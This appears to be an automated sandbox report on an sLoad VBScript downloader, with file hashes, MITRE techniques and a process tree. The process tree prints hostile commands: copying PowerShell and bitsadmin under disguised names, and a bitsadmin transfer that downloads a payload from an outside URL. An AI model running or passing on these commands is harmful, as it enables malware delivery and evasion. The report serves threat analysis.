sload | a06d938815152198d177761698bdeb45ab3f5be509362fbc3957f87713f1b97f

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
08-07-2024 21:04

Target

2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs
Size

9KB
MD5

2dcaf51516980adbe613009d1ca9764b
SHA1

fb554ddbcf9c2762af321927e5dde0bb47f38e24
SHA256

a06d938815152198d177761698bdeb45ab3f5be509362fbc3957f87713f1b97f
SHA512

4d63411921fc969f59ae9becdbdbc2e09aa292d4bb77c85c84208768df63afd44f09143096627e7694e50356ce5b967222d2bd3488e6ec599e84fb880282e30f
SSDEEP

192:LGpSVqj1bng0JaWg8ogL5gplgkLDp+mE7E4QehSy0wfV331mbFV+vrrWGFD:LGpSVq5bng0XglAyjgkL1+mE7E4QeMyZ

Score

10^/10

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\Control Panel\International\Geo\Nation WScript.exe
Executes dropped EXE 1 IoCs

Processes:

avhgCkyin.exe

pid process

4932 avhgCkyin.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2480455240-981575606-1030659066-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
4932	avhgCkyin.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.execmd.exe

description	pid	process	target process
PID 3368 wrote to memory of 1072	3368	WScript.exe	cmd.exe
PID 3368 wrote to memory of 1072	3368	WScript.exe	cmd.exe
PID 1072 wrote to memory of 2904	1072	cmd.exe	cmd.exe
PID 1072 wrote to memory of 2904	1072	cmd.exe	cmd.exe
PID 1072 wrote to memory of 3380	1072	cmd.exe	cmd.exe
PID 1072 wrote to memory of 3380	1072	cmd.exe	cmd.exe
PID 3368 wrote to memory of 4932	3368	WScript.exe	avhgCkyin.exe
PID 3368 wrote to memory of 4932	3368	WScript.exe	avhgCkyin.exe
PID 3368 wrote to memory of 4932	3368	WScript.exe	avhgCkyin.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2dcaf51516980adbe613009d1ca9764b_JaffaCakes118.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1072
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aUnvnh.exe
    3⤵
    PID:2904
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\avhgCky*.exe
    3⤵
    PID:3380
- C:\ProgramData\avhgCkyin.exe
  "C:\ProgramData\avhgCkyin.exe" /wrap /transfer kLmGBeCt https://analyzare.com/annalisa/CLCMNG70B49A801Q/dev.doc C:\ProgramData\dev.doc
  2⤵
  - Executes dropped EXE
  PID:4932

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

C:\ProgramData\avhgCkyin.exe

Filesize
182KB

MD5
f57a03fa0e654b393bb078d1c60695f3

SHA1
1ced6636bd2462c0f1b64775e1981d22ae57af0b

SHA256
c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

SHA512
7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a

Download Submit